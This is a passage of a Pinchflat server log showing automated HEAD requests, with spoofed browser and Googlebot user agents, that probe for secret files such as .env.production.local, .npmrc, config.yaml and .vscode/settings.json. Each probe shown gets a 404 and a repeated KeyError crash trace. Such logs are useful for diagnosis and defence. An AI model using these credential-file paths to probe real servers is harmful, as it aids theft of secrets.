:plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3617.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production.local", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41372}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 9, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env.production (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3617.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production.local", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41372}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", (truncated) 02:30:32.237 [info] HEAD /config.yaml 02:30:32.237 [debug] QUERY OK source="settings" db=0.3ms idle=344.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:32.238 [debug] QUERY OK source="settings" db=0.1ms idle=344.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:32.238 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:32.238 [error] #PID<0.3638.0> running PinchflatWeb.Endpoint (connection #PID<0.3617.0>, stream id 10) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: HEAD /config.yaml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3617.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.yaml", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41372}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 10, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3638.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"referer", "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net"}, {"sec-ch-ua-mobile", "?1"}, {"sec-ch-ua-platform", "\"Android\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36"}, {"x-forwarded-for", "34.139.141.56"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/config.yaml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmBXccj9E5esQAAU7B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3617.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.yaml", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41372}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 10, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3617.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.yaml", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41372}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: (truncated) 02:30:32.241 [info] HEAD /config.yml 02:30:32.241 [debug] QUERY OK source="settings" db=0.1ms idle=245.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:32.241 [debug] QUERY OK source="settings" db=0.0ms idle=18.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:32.241 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:32.242 [error] #PID<0.3639.0> running PinchflatWeb.Endpoint (connection #PID<0.3617.0>, stream id 11) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: HEAD /config.yml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3617.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.yml", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41372}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 11, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3639.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"referer", "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15"}, {"x-forwarded-for", "34.139.141.56"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/config.yml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmBXdYA2w-rOwAAU8B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3617.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.yml", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41372}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 11, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3617.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.yml", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41372}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 11, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3639.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_r (truncated) 02:30:32.248 [info] HEAD /.env.development.local 02:30:32.248 [info] HEAD /.npmrc 02:30:32.249 [info] HEAD /.vscode/settings.json 02:30:32.249 [debug] QUERY OK source="settings" db=0.4ms idle=10.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:32.249 [debug] QUERY OK source="settings" db=0.6ms queue=0.3ms idle=25.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:32.249 [debug] QUERY OK source="settings" db=0.3ms idle=10.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:32.249 [debug] QUERY OK source="settings" db=0.1ms idle=7.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:32.249 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:32.250 [debug] QUERY OK source="settings" db=0.6ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:32.250 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:32.250 [debug] QUERY OK source="settings" db=0.7ms idle=7.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:32.251 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:32.249 [error] #PID<0.3641.0> running PinchflatWeb.Endpoint (connection #PID<0.3623.0>, stream id 7) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: HEAD /.npmrc ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.npmrc", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41378}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 7, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3641.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"}, {"x-forwarded-for", "34.139.141.56"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.npmrc", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmBXfGJQE4v0IAAU-B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.npmrc", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41378}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 7, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.npmrc", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41378}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 7, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3641.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"}, {"x-forwarded-for", "34.139.141.56"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: " (truncated) 02:30:32.250 [error] #PID<0.3643.0> running PinchflatWeb.Endpoint (connection #PID<0.3642.0>, stream id 1) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: HEAD /.vscode/settings.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.vscode/settings (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3642.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.vscode/settings.json", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 55174}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", 